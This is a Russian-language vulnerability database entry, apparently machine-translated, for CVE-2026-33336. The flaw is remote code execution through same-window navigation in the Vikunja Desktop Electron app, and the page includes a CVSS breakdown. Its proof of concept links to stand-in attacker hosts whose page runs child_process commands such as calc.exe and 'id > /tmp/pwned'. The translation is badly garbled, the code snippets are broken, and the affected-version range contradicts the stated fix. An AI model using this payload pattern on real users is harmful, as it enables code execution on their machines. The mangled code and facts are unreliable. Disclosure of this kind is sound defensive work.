V
Сканер-ВС
ГлавнаяКаталогИсточникиCWECAPECATT&CKМеры защитыПродуктыВендорыДокументация
CVE-2026-33336
ANC
Средний

Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. Начиная с версии 0.21.0 и до версии 2.2.0, обертка Viku…

CVSS
6.5
Средний
EPSS
0.01
p61
Опубликовано
2026-01-01
Обновлено
2026-01-01
Описание

Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. Начиная с версии 0.21.0 и до версии 2.2.0, обертка Vikunja Desktop Electron обеспечивает «nodeIntegration` в основном BrowserWindow» и не ограничивает навигацию в одно и то же окно. Злоумышленник, который может разместить ссылку в пользовательском контенте (описания задач, комментарии, описания проектов), может заставить BrowserWnow перейти к контролируемому злоупотреблятелем происхождению, где JavaScript выполняется с полным доступом Node.js, что приводит к произвольному выполнению кода на машине жертвы. Версия 2.2.0 исправляет проблему. # # Root причина Две ошибок объединяются, чтобы создать эту уязвимость: 1. **`nodeIntegration: true`** устанавливается в «BrowserWindow` веб-предположения» (`esktop/main.js:16`), предоставляя любую страницу, загруженную в рендерингере, полный доступ к API (`require/, `child_process`, `fs`, etc. 2. 2. ** Никакой `will-nvigate` или ``will-redirect` Обработчик** не зарегистрирована "webContents`". Существующий `setWindowOpenHandler` (`desktop/main.js:19-23`) только перехватывает `window.open()` звонки (new-Window.indow)` (запросы на новое окна). Он не перехватывает те же навигации с окнами, вызванные: - `<a href="https://">` ссылки (без `Це-нацеливания="_blank"`) - "window.location` назначения" - HTTP перенаправления - `<meta http-equiv="refresh">` теги ## сценарий атаки 1. Агитатор является обычным пользователем в том же экземпляре Vikunja (например, участник общего проекта). 2. 2. Злоумышленник создает или редактирует описание проекта или описание задачи, содержащее стандартную HTML-ссылку, например: `<a href="https://evil.example/exploit">Нажмите здесь для обновленного дизайна spec</a>` 3. 3. Фронтенд Vikunja отображает это звено. Дезинфекция DOMPurify правильно позволяет это - это законная якорная тега, а не инъекция сценариев. Пример пути воспроизведения: `frontend/src/views/projectInfo.vue` использует `v-html` с продезинфицированным DOMPurify выводом. 4. Жертва использует Vikunja Desktop и нажимает на ссылку. 5. Поскольку обработчик «Will-navigate` не существует», BrowserWindow переходит к `https://evil.example/exploit` в том же процессе рендеринга. 6. 6. Страница злоумышленника теперь выполняет в контексте с «nodeIntegration: true`» и работает: `require('child_process'.exed)('id > /tmp/pwned');` 7. Произвольные команды выполняются как пользователь ОС жертвы. # # Impact Полное удаленное выполнение кода на рабочем столе жертвы. Злоумышленник может считывать/пишет произвольные файлы, выполнять произвольные команды, устанавливать вредоносные или бэкдоры, а также эксфильтровать учетные данные и конфиденциальные данные. Уязвимость XSS не требуется - достаточно нормальной гиперссылки, одобренной дезинфицирующим средством. ## Доказательство концепции 1. Создайте экземпляр Vikunja с двумя пользователями, разделяющими проект. 2. 2. Как пользователь злоумышленника, отредактируйте описание проекта, чтобы включить: `<a href="https://attacker.example/poc.html">Meeting notes</a>` 3. 3. Ведущий poc.html с: `<script>require('child_process'.exec('calc.exe')</script>` 4. Как жертва, откройте проект в Vikunja Desktop и нажмите на ссылку. 5. calc.exe (или любая другая команда) выполняет на машине жертвы. ## Кредиты Эта уязвимость была обнаружена с помощью [GitHub Security Lab Taskflows] (https://github.com/GitHubSecurityLab/seclab-taskflows).

Теги · CWE
Без аутентификации
CWE-94
CAPEC-35
CAPEC-77
CAPEC-242
Затронутые продукты
Vikunja 0.21.0–2.2.2
Вектор CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Хронология
2026-01-01
Опубликована
2026-01-01
Обновлена
Разбор CVSS 3.1
Вектор атаки
AV: N
Сеть (N)
Сложность атаки
AC: L
Низкая (L)
Требования к атаке
AT: N
None
Требуемые привилегии
PR: N
Отсутствуют (N)
Взаимодействие с пользователем
UI: P
Passive
Конфиденциальность уязвимой системы
VC: N
Отсутствует (N)
Целостность уязвимой системы
VI: N
Отсутствует (N)
Доступность уязвимой системы
VA: N
Отсутствует (N)
Конфиденциальность последующей системы
SC: H
Высокое (H)
Целостность последующей системы
SI: H
Высокое (H)
Доступность последующей системы
SA: H
Высокое (H)
Зрелость эксплойт-кода
E: X
Not Defined
Требование конфиденциальности
CR: X
Not Defined
Требование целостности
IR: X
Not Defined
Требование доступности
AR: X
Not Defined
Модифицированный вектор атаки
MAV: X
Not Defined
Модифицированная сложность атаки
MAC: X
Not Defined
Модифицированные требования к атаке
MAT: X
Not Defined
Модифицированные требуемые привилегии
MPR: X
Not Defined
Модифицированное взаимодействие с пользователем
MUI: X
Not Defined
Модифицированная конфиденциальность уязвимой системы
MVC: X
Not Defined
Модифицированная целостность уязвимой системы
MVI: X
Not Defined
Модифицированная доступность уязвимой системы
MVA: X
Not Defined
Модифицированная конфиденциальность последующей системы
MSC: X
Not Defined
Модифицированная целостность последующей системы
MSI: X
Not Defined
Модифицированная доступность последующей системы
MSA: X
Not Defined
s
S: X
X
au
AU: X
X
r
R: X
X
v
V: X
X
re
RE: X
X
u
U: X
X
Индикаторы эксплуатации
EPSS
0.011 · p61
Известна эксплуатация (KEV)
Нет
MITRE ATT&CK
Выводимые через CAPEC
└ через CAPEC-35 · CWE-94
└ через CAPEC-35 · CWE-94
Проверки Сканер-ВС
Проверок Сканер-ВС для этой уязвимости в базе пока нет.
Затронутые продукты
ПродуктВендорСтатус
Отслеживается
vikunja*Отслеживается